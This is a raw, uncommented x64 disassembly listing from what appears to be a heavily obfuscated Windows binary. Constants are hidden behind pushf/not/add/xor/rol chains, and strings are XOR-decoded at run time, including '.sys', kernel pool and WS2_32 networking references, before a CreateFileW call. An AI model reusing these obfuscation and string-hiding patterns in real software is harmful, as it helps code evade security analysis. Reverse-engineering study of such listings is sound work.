mov eax, 0xf128e52f
pushf
not eax
add eax, 0xb0a85b3f
xor eax, 0xaedd9b07
rol eax, 0x54
popf
pushf
not eax
add eax, 0xadeed389
xor eax, 0xff44ed0c
rol eax, 0xe7
popf
pushf
not eax
add eax, 0xe43466bc
xor eax, 0xcf8a20aa
rol eax, 0xd8
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x87d194dc
pushf
not eax
add eax, 0xdd3ddff6
xor eax, 0xbe579e18
rol eax, 0x96
popf
pushf
not eax
add eax, 0xe4abb6e8
xor eax, 0x81d4c56e
rol eax, 0x30
popf
pushf
not eax
add eax, 0xa55a58a4
xor eax, 0x82bea0bf
rol eax, 0x17
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0x505a8c5e
pushf
not eax
add eax, 0xecc970fd
xor eax, 0xd1b29d94
rol eax, 0x4e
popf
pushf
not eax
add eax, 0xa4614ff9
xor eax, 0x87debc81
rol eax, 0x6c
popf
jmp 0x1401b380c
mov qword [rbp + 0x18], r15
mov qword [rbp + 0x20], 7
mov word [rbp + 8], r15w
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x1401b4e98
push rax
pushf
mov eax, 0x81b26de0
pushf
not eax
add eax, 0xd8856982
xor eax, 0xf7676beb
rol eax, 0x76
popf
pushf
not eax
add eax, 0x8d927ccc
xor eax, 0xfb98a358
rol eax, 0xb0
popf
pushf
not eax
add eax, 0x92a0c491
xor eax, 0xd7eb05b5
rol eax, 0x12
popf
pushf
not eax
add eax, 0xd0a693be
xor eax, 0xb511cd94
rol eax, 0x6d
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x6264abbb
pushf
not eax
add eax, 0xc43eaf05
xor eax, 0xa035b4a6
rol eax, 0x8a
popf
pushf
not eax
add eax, 0xdc30476b
xor eax, 0xc1795e44
rol eax, 3
popf
pushf
not eax
add eax, 0xcb2b9d91
xor eax, 0xb0ab2735
rol eax, 0x30
popf
pushf
not eax
add eax, 0xb0e62a86
xor eax, 0xf5fed10e
rol eax, 0xe9
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x1401b4f4b
push rax
pushf
mov eax, 0xe9856648
pushf
not eax
add eax, 0x8215f4f2
xor eax, 0xca71fe10
rol eax, 0x49
popf
pushf
not eax
add eax, 0x8c7c9fb8
xor eax, 0x85b6b8fe
rol eax, 0x51
popf
pushf
not eax
add eax, 0xd65d6f99
xor eax, 0xaa9ad73d
rol eax, 0x50
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xffb86e43
pushf
not eax
add eax, 0xf880d829
xor eax, 0xe5e4d8a3
rol eax, 0xf4
popf
pushf
not eax
add eax, 0x9c2befbd
xor eax, 0xf29ef35a
rol eax, 0x90
popf
pushf
not eax
add eax, 0xde844c04
xor eax, 0xe1237e1d
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x9135804d
xor eax, 0xb3efefc9
rol eax, 0xa3
popf
jmp 0x1401b380c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1401b4ff0
push rax
pushf
mov eax, 0x736581c9
pushf
not eax
add eax, 0xb8767ad3
xor eax, 0xb85402c2
rol eax, 0x6e
popf
pushf
not eax
add eax, 0xd3477d5a
xor eax, 0x94547ff8
rol eax, 0xdc
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x8bbe669d
pushf
not eax
add eax, 0xd20c6f4a
xor eax, 0xcb5182dd
rol eax, 0xa
popf
pushf
not eax
add eax, 0xf2d79573
xor eax, 0x8c45b7d0
rol eax, 0x6b
popf
pushf
not eax
add eax, 0x9dc1bb6b
xor eax, 0x83f0bb9b
rol eax, 0x72
popf
pushf
not eax
add eax, 0x83e893cb
xor eax, 0xa3052bd5
rol eax, 0x40
popf
jmp 0x1401b380c
mov rcx, r8
push rax
pushf
mov eax, 0x4d80ec5e
pushf
not eax
add eax, 0xb04095a0
xor eax, 0xd8f00c5d
rol eax, 0x33
popf
pushf
not eax
add eax, 0xd6c6009e
xor eax, 0xaf292597
rol eax, 0xae
popf
pushf
not eax
add eax, 0xd203a86c
xor eax, 0x8f15c7b9
rol eax, 0xd8
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0x387941dd
pushf
not eax
add eax, 0x9c530eca
xor eax, 0xecef1fb8
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xc5e33230
xor eax, 0x88f1b5fc
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x958c354b
xor eax, 0xb9864d70
rol eax, 0x8c
popf
jmp 0x1401b380c
mov qword [rbx + 0x10], r15
mov word [rbx], r15w
jmp 0x1401b6ef2
mov r8d, 0x21243159
pushf
not r8d
add r8d, 0xaa550380
xor r8d, 0xd56a471f
rol r8d, 0xf3
popf
pushf
not r8d
add r8d, 0x9a989fc8
xor r8d, 0xfa2f6c65
rol r8d, 5
popf
pushf
not r8d
add r8d, 0x9c4c2747
xor r8d, 0xd0247806
rol r8d, 0x9f
popf
pushf
not r8d
add r8d, 0xc3b1d528
xor r8d, 0xcbc506e6
rol r8d, 0x95
popf
mov word [rsp + 0x70], r8w
mov edx, 0x55feeaf5
pushf
not edx
add edx, 0xe745cc74
xor edx, 0xbab4e91c
rol edx, 0x46
popf
pushf
not edx
add edx, 0xe0fc87d1
xor edx, 0xfbaae4e8
rol edx, 0xdf
popf
pushf
not edx
add edx, 0xf8bc776b
xor edx, 0xe8dff193
rol edx, 0x72
popf
mov word [rsp + 0x50], dx
mov word [rsp + 0x52], dx
mov ecx, 0x3105e845
pushf
not ecx
add ecx, 0xc4ae7f98
xor ecx, 0xf71593dd
rol ecx, 0x74
popf
pushf
not ecx
add ecx, 0xc68deeff
xor ecx, 0xdf2cf870
rol ecx, 0x41
popf
pushf
not ecx
add ecx, 0xd99ff95f
xor ecx, 0x95d942a1
rol ecx, 0xac
popf
mov eax, 0x5c0ebd2
pushf
not eax
add eax, 0xede0c5a7
xor eax, 0xe8529766
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xb1a55983
xor eax, 0xbf0ffcc1
rol eax, 0x44
popf
pushf
not eax
add eax, 0xbfb4ab4f
xor eax, 0xb1ace1cf
rol eax, 0x58
popf
pushf
not eax
add eax, 0x9a62214e
xor eax, 0xa37cc589
rol eax, 0x83
popf
mov word [rsp + 0x54], cx
mov word [rsp + 0x56], dx
mov word [rsp + 0x58], ax
movzx eax, word [0x1400f86b2]
xor ax, r8w
mov word [rsp + 0x5a], ax
movzx eax, word [0x1400f86b4]
xor ax, r8w
mov word [rsp + 0x5c], ax
movzx r13d, word [0x1400f86b6]
xor r13w, r8w
mov word [rsp + 0x5e], r13w
movzx r12d, word [str..sys]
xor r12w, r8w
mov word [rsp + 0x60], r12w
movzx r15d, word [reloc.WS2_32.dll_WSAStartup]
xor r15w, r8w
movzx r14d, word [0x1400f86bc]
xor r14w, r8w
movzx esi, word [reloc.WS2_32.dll_WSAStartup]
xor si, r8w
movzx edi, word [0x1400f86c0]
xor di, r8w
movzx ebx, word [0x1400f86c2]
xor bx, r8w
movzx r11d, word [0x1400f86c4]
xor r11w, r8w
movzx r10d, word [0x1400f86c6]
xor r10w, r8w
movzx r9d, word [str.ExFreePoolWithTag]
xor r9w, r8w
movzx r8d, word [0x1400f86ca]
xor r8w, 0x73
movzx edx, word [0x1400f86cc]
xor dx, 0x73
movzx ecx, word [0x1400f86ce]
xor cx, 0x73
movzx eax, word [0x1400f86d0]
xor ax, 0x73
mov r13d, 0xb16c0f27
pushf
not r13d
add r13d, 0xba43599e
xor r13d, 0x8f53adfe
rol r13d, 0x60
popf
pushf
not r13d
add r13d, 0x880ccce2
xor r13d, 0x80441212
rol r13d, 0x44
popf
pushf
not r13d
add r13d, 0x9c972df4
xor r13d, 0xbf57b93b
rol r13d, 0xc8
popf
mov r12d, 0x1c4e97ff
pushf
not r12d
add r12d, 0x8057f67f
xor r12d, 0xce94c2be
rol r12d, 0x58
popf
pushf
not r12d
add r12d, 0xa3c0677d
xor r12d, 0xe3d9c9e0
rol r12d, 0x8e
popf
xor r13w, r12w
mov word [rsp + 0x72], r13w
movzx r13d, word [rsp + 0x50]
xor r13w, r12w
mov word [rsp + 0x74], r13w
mov r13d, 0x59cc2a5f
pushf
not r13d
add r13d, 0xfc99194e
xor r13d, 0xc15db6b3
rol r13d, 0x36
popf
pushf
not r13d
add r13d, 0xd317ef0b
xor r13d, 0xa640b0c6
rol r13d, 0x11
popf
pushf
not r13d
add r13d, 0xc6643431
xor r13d, 0x817ff834
rol r13d, 0xe4
popf
xor r13w, r12w
mov word [rsp + 0x76], r13w
movzx r13d, word [rsp + 0x52]
xor r13w, r12w
mov word [rsp + 0x78], r13w
mov r13d, 0x971dcbc7
pushf
not r13d
add r13d, 0x96d41833
xor r13d, 0xdb3c11bf
rol r13d, 0x5c
popf
pushf
not r13d
add r13d, 0xc970be6f
xor r13d, 0xfc4512ee
rol r13d, 8
popf
pushf
not r13d
add r13d, 0x905debca
xor r13d, 0x8b15a3bf
rol r13d, 0x32
popf
pushf
not r13d
add r13d, 0xc8677381
xor r13d, 0x88a65265
rol r13d, 0x93
popf
xor r13w, r12w
mov word [rsp + 0x7a], r13w
mov r13d, 0xcd122115
pushf
not r13d
add r13d, 0xd85df8e1
xor r13d, 0xfda68b06
rol r13d, 0xe9
popf
pushf
not r13d
add r13d, 0xf899cbee
xor r13d, 0x8a6e9b56
rol r13d, 0xcd
popf
pushf
not r13d
add r13d, 0xa99d31ea
xor r13d, 0xed481126
rol r13d, 1
popf
pushf
not r13d
add r13d, 0xfd71d153
xor r13d, 0xb47d3196
rol r13d, 0xa7
popf
xor r13w, r12w
mov word [rsp + 0x7c], r13w
mov r13d, 0x9b47589
pushf
not r13d
add r13d, 0x95037083
xor r13d, 0xa9327654
rol r13d, 0xe0
popf
pushf
not r13d
add r13d, 0xc1079717
xor r13d, 0x99cfdc57
rol r13d, 0x82
popf
pushf
not r13d
add r13d, 0xe869fad5
xor r13d, 0xcb56a1c0
rol r13d, 0x80
popf
xor r13w, r12w
mov word [rsp + 0x7e], r13w
mov r13d, 0x26dda025
pushf
not r13d
add r13d, 0xa4e192e7
xor r13d, 0x874a38d8
rol r13d, 0x88
popf
pushf
not r13d
add r13d, 0xb01fb172
xor r13d, 0xb2ad2eaa
rol r13d, 0xe9
popf
pushf
not r13d
add r13d, 0xc790d512
xor r13d, 0xd61d2f2c
rol r13d, 0x1e
popf
xor r13w, r12w
mov word [rbp - 0x80], r13w
mov r13d, 0xf1b3da7d
pushf
not r13d
add r13d, 0xf2322b6f
xor r13d, 0xbc4b8464
rol r13d, 0x73
popf
pushf
not r13d
add r13d, 0xb06c1b5a
xor r13d, 0xa9f46681
rol r13d, 0x46
popf
pushf
not r13d
add r13d, 0xf6efd610
xor r13d, 0xda81017f
rol r13d, 0x48
popf
pushf
not r13d
add r13d, 0xd0591f44
xor r13d, 0xb74f0687
rol r13d, 0x23
popf
xor r13w, r12w
mov word [rbp - 0x7e], r13w
movzx r13d, word [rsp + 0x54]
xor r13w, r12w
mov word [rbp - 0x7c], r13w
movzx r13d, word [rsp + 0x56]
xor r13w, r12w
mov word [rbp - 0x7a], r13w
mov r13d, 0x5b3ca548
pushf
not r13d
add r13d, 0xa817eec8
xor r13d, 0xb6a96ef8
rol r13d, 2
popf
pushf
not r13d
add r13d, 0xb919df53
xor r13d, 0xb675eb48
rol r13d, 0x99
popf
pushf
not r13d
add r13d, 0x9a4eaf0a
xor r13d, 0xa35c65d9
rol r13d, 0x7f
popf
xor r13w, r12w
mov word [rbp - 0x78], r13w
mov r13d, 0x53e774e2
pushf
not r13d
add r13d, 0xb7bafebb
xor r13d, 0x931d4e5d
rol r13d, 0x5f
popf
pushf
not r13d
add r13d, 0xc52802cb
xor r13d, 0xe5bbca59
rol r13d, 0xb7
popf
pushf
not r13d
add r13d, 0xc07c6f00
xor r13d, 0xd2939810
rol r13d, 0x9c
popf
pushf
not r13d
add r13d, 0xf5789e23
xor r13d, 0x99215bb4
rol r13d, 0x7f
popf
xor r13w, r12w
mov word [rbp - 0x76], r13w
mov r13d, 0x269cda96
pushf
not r13d
add r13d, 0x8c7e3da4
xor r13d, 0x8551d13d
rol r13d, 0x80
popf
pushf
not r13d
add r13d, 0xa2645aa4
xor r13d, 0x8b683726
rol r13d, 0x4b
popf
pushf
not r13d
add r13d, 0x82125be2
xor r13d, 0xa515718b
rol r13d, 0x13
popf
xor r13w, r12w
mov word [rbp - 0x74], r13w
mov r13d, 0x53275b4e
pushf
not r13d
add r13d, 0xb41b42e2
xor r13d, 0xacc73253
rol r13d, 0xd8
popf
pushf
not r13d
add r13d, 0xb3f50894
xor r13d, 0xf328cebe
rol r13d, 0x39
popf
xor r13w, r12w
mov word [rbp - 0x72], r13w
movzx r13d, word [rsp + 0x58]
xor r13w, r12w
mov word [rbp - 0x70], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp - 0x6e], r13w
movzx r13d, word [rsp + 0x5a]
xor r13w, r12w
mov word [rbp - 0x6c], r13w
movzx r13d, word [rsp + 0x5c]
xor r13w, r12w
mov word [rbp - 0x6a], r13w
movzx r13d, word [rsp + 0x5e]
xor r13w, r12w
mov word [rbp - 0x68], r13w
movzx r12d, word [rsp + 0x60]
mov r13d, 0x961c1236
pushf
not r13d
add r13d, 0xa62d4ace
xor r13d, 0x9a5488c3
rol r13d, 0x6f
popf
pushf
not r13d
add r13d, 0x84fb53ee
xor r13d, 0xacdf6ecb
rol r13d, 0x73
popf
xor r12w, r13w
mov word [rbp - 0x66], r12w
xor r15w, r13w
mov word [rbp - 0x64], r15w
xor r14w, r13w
mov word [rbp - 0x62], r14w
xor si, r13w
mov word [rbp - 0x60], si
xor di, r13w
mov word [rbp - 0x5e], di
xor bx, r13w
mov word [rbp - 0x5c], bx
xor r11w, r13w
mov word [rbp - 0x5a], r11w
xor r10w, r13w
mov word [rbp - 0x58], r10w
xor r9w, r13w
mov word [rbp - 0x56], r9w
xor r8w, r13w
mov word [rbp - 0x54], r8w
xor dx, r13w
mov word [rbp - 0x52], dx
xor cx, r13w
mov word [rbp - 0x50], cx
xor ax, r13w
mov word [rbp - 0x4e], ax
xor esi, esi
mov word [rbp - 0x4c], si
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xa5e7cdd6
pushf
not edx
add edx, 0x8d68255f
xor edx, 0x9ed25057
rol edx, 0x25
popf
pushf
not edx
add edx, 0xfea05cf5
xor edx, 0xac0a7120
rol edx, 0xe6
popf
pushf
not edx
add edx, 0x85ce5b19
xor edx, 0xb08a51ba
rol edx, 0
popf
lea rcx, [rsp + 0x72]
jmp 0x1401b5961
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r12, qword [rsp + 0x40]
mov qword [r12], rax
cmp rax, 0xffffffffffffffff
jne 0x1401b59bc
push rax
pushf
mov eax, 0xd2f1ecd5
pushf
not eax
add eax, 0xcb9359bc
xor eax, 0xc3eac52e
rol eax, 0xaa
popf
pushf
not eax
add eax, 0xea19b3a1
xor eax, 0xc79620d3
rol eax, 6
popf
pushf
not eax
add eax, 0xcb56d7c7
xor eax, 0x92093fa7
rol eax, 0x30
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x42b72335
pushf
not eax
add eax, 0x95d75e8d
xor eax, 0xc4eeaf18
rol eax, 0x56
popf
pushf
not eax
add eax, 0xa00bb54f
xor eax, 0x8c25c135
rol eax, 0x7e
popf
jmp 0x1401b380c
mov rax, qword gs:[0x30]
mov edi, dword [rax + 0x1250]
mov dword [r12 + 8], edi
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x1401b5a57
push rax
pushf
mov eax, 0x12f3c2e1
pushf
not eax
add eax, 0xed4db192
xor eax, 0xdb36796b
rol eax, 5
popf
pushf
not eax
add eax, 0xe4d4b64d
xor eax, 0xfe1bb6e2
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xdd6ef033
xor eax, 0x879e8fc0
rol eax, 0xc9
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xf0437e9a
pushf
not eax
add eax, 0x9d81926b
xor eax, 0xd8499b80
rol eax, 0x45
popf
pushf
not eax
add eax, 0xf39e15c0
xor eax, 0xb458c1d1
rol eax, 0x95
popf
pushf
not eax
add eax, 0x9dee5ac3
xor eax, 0x91d03c19
rol eax, 0xe2
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b5afb
push rax
pushf
mov eax, 0xc96e6b66
pushf
not eax
add eax, 0xf41f705a
xor eax, 0xcfe59804
rol eax, 0x10
popf
pushf
not eax
add eax, 0xfe44a1ee
xor eax, 0xe746c903
rol eax, 0x87
popf
pushf
not eax
add eax, 0xe3060c6e
xor eax, 0xddcb3f0f
rol eax, 0x20
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x34728bb
pushf
not eax
add eax, 0xf076390a
xor eax, 0xad3df276
rol eax, 0x54
popf
pushf
not eax
add eax, 0xf927b43e
xor eax, 0xbe78b73a
rol eax, 0xba
popf
pushf
not eax
add eax, 0x92775773
xor eax, 0xfd3d05d1
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xb057cc71
xor eax, 0xd87a3261
rol eax, 0x6e
popf
jmp 0x1401b380c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b5bc6
push rax
pushf
mov eax, 0x76990e6
pushf
not eax
add eax, 0xdf42307f
xor eax, 0x85df3a0e
rol eax, 0xf6
popf
pushf
not eax
add eax, 0x84b83c6f
xor eax, 0xe64919d3
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xf9c8bea1
xor eax, 0xbf5a79f3
rol eax, 0x62
popf
pushf
not eax
add eax, 0xb1030ae7
xor eax, 0xdbf95486
rol eax, 0x4e
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xb905c350
pushf
not eax
add eax, 0xc3aa6b4a
xor eax, 0xf2d2272f
rol eax, 0x70
popf
pushf
not eax
add eax, 0xf1f8eb6c
xor eax, 0xc9ae958e
rol eax, 0x53
popf
pushf
not eax
add eax, 0xa9056081
xor eax, 0xd56abfd4
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xd6d83c61
xor eax, 0xf3536a21
rol eax, 0xa5
popf
jmp 0x1401b380c
call fcn.14021a52b
jmp 0x1401b6c6b
mov rcx, r12
call fcn.14021f64e
test eax, eax
jns 0x1401b5cc5
push rax
pushf
mov eax, 0xb7c15d21
pushf
not eax
add eax, 0xb0a8ecd4
xor eax, 0xa9d7098b
rol eax, 0xa
popf
pushf
not eax
add eax, 0x9a145d2b
xor eax, 0xe35e601f
rol eax, 0xb9
popf
pushf
not eax
add eax, 0xd7ce98b7
xor eax, 0xd3102d3e
rol eax, 0x8d
popf
pushf
not eax
add eax, 0x9ebaaed0
xor eax, 0xf2438941
rol eax, 0xfd
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x5878f0e0
pushf
not eax
add eax, 0xb0ed074c
xor eax, 0xd2c2a061
rol eax, 0x82
popf
pushf
not eax
add eax, 0x81e045a6
xor eax, 0xece08c4b
rol eax, 0x44
popf
pushf
not eax
add eax, 0xa66a5287
xor eax, 0xed4c80eb
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xdff6ac8b
xor eax, 0xe1b5b788
rol eax, 0xd4
popf
jmp 0x1401b380c
mov rcx, r12
call fcn.14021a5e8
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x1401b5eb6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1401b5d80
push rax
pushf
mov eax, 0xd37e0cf8
pushf
not eax
add eax, 0xafb25092
xor eax, 0xd67b8dd9
rol eax, 0x61
popf
pushf
not eax
add eax, 0xa31262b6
xor eax, 0x8e72c765
rol eax, 0xbd
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xa13c559a
pushf
not eax
add eax, 0xf3a4c7eb
xor eax, 0xcade32c1
rol eax, 0x17
popf
pushf
not eax
add eax, 0xd3e16f17
xor eax, 0xfe650e14
rol eax, 0x94
popf
pushf
not eax
add eax, 0xf9c20fbe
xor eax, 0xf7a3a375
rol eax, 0xd
popf
pushf
not eax
add eax, 0xce72a134
xor eax, 0xaaf9611c
rol eax, 0x3c
popf
jmp 0x1401b380c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1401b5e38
push rax
pushf
mov eax, 0xa0f70b15
pushf
not eax
add eax, 0xcea5f71f
xor eax, 0xcad4353f
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xc7a897ca
xor eax, 0xf52db90e
rol eax, 0x5e
popf
pushf
not eax
add eax, 0xc80838f7
xor eax, 0x9d025428
rol eax, 0xb4
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x3886722e
pushf
not eax
add eax, 0xdb630e64
xor eax, 0x9185c024
rol eax, 0x5f
popf
pushf
not eax
add eax, 0x8e59266d
xor eax, 0xf4ac7cf4
rol eax, 0x9c
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0xff8c99f5
pushf
not eax
add eax, 0xd122bc60
xor eax, 0xddf4d6bb
rol eax, 0x2c
popf
pushf
not eax
add eax, 0xde492bc0
xor eax, 0xfaa4503a
rol eax, 0x76
popf
pushf
not eax
add eax, 0xcb3610b7
xor eax, 0x9a60faa1
rol eax, 3
popf
jmp 0x1401b380c
mov word [rbp + 8], si
mov qword [rbp + 0x20], 7
mov qword [rbp + 0x18], rsi
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x1401b5f08
push rax
pushf
mov eax, 0x239cd888
pushf
not eax
add eax, 0xcdd80e88
xor eax, 0xcac31b46
rol eax, 0x32
popf
pushf
not eax
add eax, 0x8c84f92d
xor eax, 0xd43f754c
rol eax, 0xeb
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x770b042a
pushf
not eax
add eax, 0xe52de940
xor eax, 0x96859026
rol eax, 0xde
popf
pushf
not eax
add eax, 0xa49d33ed
xor eax, 0xa67f16a0
rol eax, 0x12
popf
jmp 0x1401b380c
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
mov rcx, qword [rbx]
jb 0x1401b5f95
push rax
pushf
mov eax, 0xdc179c1a
pushf
not eax
add eax, 0x83104457
xor eax, 0xa4ec79d6
rol eax, 0xab
popf
pushf
not eax
add eax, 0xf74df60a
xor eax, 0xac8befdb
rol eax, 0x49
popf
pushf
not eax
add eax, 0xfcf5a8a5
xor eax, 0x927662ac
rol eax, 0x91
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0xc48d9942
pushf
not eax
add eax, 0xef42c7a9
xor eax, 0xfc053a67
rol eax, 0x59
popf
pushf
not eax
add eax, 0xfd07a402
xor eax, 0xb594fc04
rol eax, 0x74
popf
pushf
not eax
add eax, 0xbab89528
xor eax, 0xeb75d490
rol eax, 0x18
popf
pushf
not eax
add eax, 0xa065d697
xor eax, 0xc40e407a
rol eax, 0x68
popf
jmp 0x1401b380c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1401b603a
push rax
pushf
mov eax, 0x5b41c7ec
pushf
not eax
add eax, 0xf9af864a
xor eax, 0xad9cde48
rol eax, 0x76
popf
pushf
not eax
add eax, 0x8898ab7c
xor eax, 0x834ad723
rol eax, 0xf5
popf
jmp 0x1401b380c
push rax
pushf
mov eax, 0x28972e45
pushf
not eax
add eax, 0xb13d4be2
xor eax, 0x88726667
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x966df2bc
xor eax, 0xbe675c5c
rol eax, 0x7a
popf
jmp 0x1401b380c
mov rcx, r8
push rax
pushf
mov eax, 0x744bc8c8
pushf
not eax
add eax, 0x9a68e5e9
xor eax, 0xca90f3b6
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xc1f45d2f
xor eax, 0xa8c6aca8
rol eax, 0x26
popf
pushf
not eax
add eax, 0xce7735b9
xor eax, 0x8e913159
rol eax, 0x32
popf
pushf
not eax
add eax, 0xb99bc515
xor eax, 0xb878fa35
rol eax, 0x12
popf
jmp 0x1401b380c
call fcn.14021a52b
push rax
pushf
mov eax, 0x1863a1ca
pushf
not eax
add eax, 0xadc24bb9
xor eax, 0xb0c85563
rol eax, 0x84
popf
pushf
not eax
add eax, 0x99e18d99
xor eax, 0x9ea4afe7
rol eax, 0x33
popf
pushf
not eax
add eax, 0xcb67ecd1
xor eax, 0xa806f138
rol eax, 0x87
popf
pushf
not eax
add eax, 0x93ec7160
xor eax, 0xe4e8e26a
rol eax, 0x21
popf
jmp 0x1401b380c
mov qword [rbx + 0x10], rsi
mov word [rbx], si
mov eax, 0x142b9c9f
pushf
not eax
add eax, 0xd4d7d9f1
xor eax, 0xdf329f8a
rol eax, 0x59
popf
pushf
not eax
add eax, 0x8b921e7e
xor eax, 0xcced3a03
rol eax, 0x73
popf
pushf
not eax
add eax, 0x9f701db5
xor eax, 0xc597afb6
rol eax, 0x91
popf
jmp 0x1401b6ef4
mov byte [rsp + 0x40], 0x52
mov al, 0xe6
pushf
not al
add al, 0xe6
xor al, 0x3f
rol al, 0x7c
popf
pushf
not al
add al, 0x1e
xor al, 0xf0
rol al, 0x95
popf
mov cl, 0x78
pushf
not cl
add cl, 0x32
xor cl, 0xf7
rol cl, 0x3c
popf
pushf
not cl
add cl, 0xf2
xor cl, 0x15
rol cl, 0x8c
popf
pushf
not cl
add cl, 0xf9
xor cl, 0x64
rol cl, 0xe1
popf
mov dl, 6
pushf
not dl
add dl, 0x53
xor dl, 0xc3
rol dl, 0x24
popf
pushf
not dl
add dl, 0xaf
xor dl, 0xcf
rol dl, 0xc6
popf
pushf
not dl
add dl, 0x4b
xor dl, 0x96
rol dl, 0xef
popf
mov r8b, 0x7c
pushf
not r8b
add r8b, 0x7d
xor r8b, 0xb3
rol r8b, 0xd4
popf
pushf
not r8b
add r8b, 0x30
xor r8b, 0xa1
rol r8b, 0x3d
popf
pushf
not r8b
add r8b, 0x20
xor r8b, 0x89
rol r8b, 0x7f
popf
pushf
not r8b
add r8b, 0xca
xor r8b, 3
rol r8b, 0xf2
popf
mov r9b, reloc.WS2_32.dll_inet_addr
pushf
not r9b
add r9b, 0xe5
xor r9b, 5
rol r9b, 0xec
popf
pushf
not r9b
add r9b, 5
xor r9b, 0x22
rol r9b, 0x81
popf
pushf
not r9b
add r9b, 0x4e
xor r9b, 0xb0
rol r9b, 0xb4
popf
mov r10b, 0xaa
pushf
not r10b
add r10b, 0x88
xor r10b, 0x91
rol r10b, 0x5c
popf
pushf
not r10b
add r10b, 0xe4
xor r10b, 0x1b
rol r10b, 0x2b
popf
movzx r11d, al
mov bl, 0x1a
pushf
not bl
add bl, 0x6e
xor bl, 0x88
rol bl, 0x9c
popf
pushf
not bl
add bl, 0x12
xor bl, 0x4f
rol bl, 0x65
popf
pushf
not bl
add bl, 0x65
xor bl, 0xf5
rol bl, 0x42
popf
pushf
not bl
add bl, 0xe4
xor bl, 0xe1
rol bl, 0xb5
popf
mov dil, 0xd3
pushf
not dil
add dil, 0x4e
xor dil, 0xc6
rol dil, 3
popf
pushf
not dil
add dil, 0x7c
xor dil, 0x67
rol dil, 0x26
popf
mov sil, 0x9d
pushf
not sil
add sil, 0xe
xor sil, 0x53
rol sil, 0x35
popf
pushf
not sil
add sil, 0xb9
xor sil, 0xe8
rol sil, 0x5d
popf
pushf
not sil
add sil, 0xc2
xor sil, 0xe7
rol sil, 0xf2
popf
mov r14b, 0xda
pushf
not r14b
add r14b, 0x36
xor r14b, 0x8f
rol r14b, 0xc0
popf
pushf
not r14b
add r14b, 0xfd
xor r14b, 0x79
rol r14b, 5
popf
movzx r15d, sil
xor r13d, r13d
xor al, 0x52
mov byte [rsp + 0x41], al
xor cl, 0x52
mov byte [rsp + 0x42], cl
xor dl, 0x52
mov byte [rsp + 0x43], dl
xor r8b, 0x52
mov byte [rsp + 0x44], r8b
xor r9b, 0x52
mov byte [rsp + 0x45], r9b
xor r10b, 0x52
mov byte [rsp + 0x46], r10b
xor r11b, 0x52
mov byte [rsp + 0x47], r11b
xor bl, 0x52
mov byte [rsp + 0x48], bl
xor dil, 0x52
mov byte [rsp + 0x49], dil
xor sil, 0x52
mov byte [rsp + 0x4a], sil
xor r14b, 0x52
mov byte [rsp + 0x4b], r14b
xor r15b, 0x52
mov byte [rsp + 0x4c], r15b
mov byte [rsp + 0x4d], r13b
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
lea rax, [rsp + 0x41]
mov r8, 0xffffffffffffffff
nop dword [rax]
push rax
pushf
mov eax, 0xce23a875
pushf
not eax
add eax, 0xa909f74e
xor eax, 0xf6e854e7
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xf2d1d041
xor eax, 0x8b4761a0
rol eax, 0x39
popf
pushf
not eax
add eax, 0x9f40fa71
xor eax, 0xd6722597
rol eax, 0x45
popf
pushf
not eax
add eax, 0xbe344147
xor eax, 0xf846b4ac
rol eax, 0x91
popf
jmp 0x1401b380c
inc r8
cmp byte [rax + r8], r13b
jne 0x1401b64f0
push rax
pushf
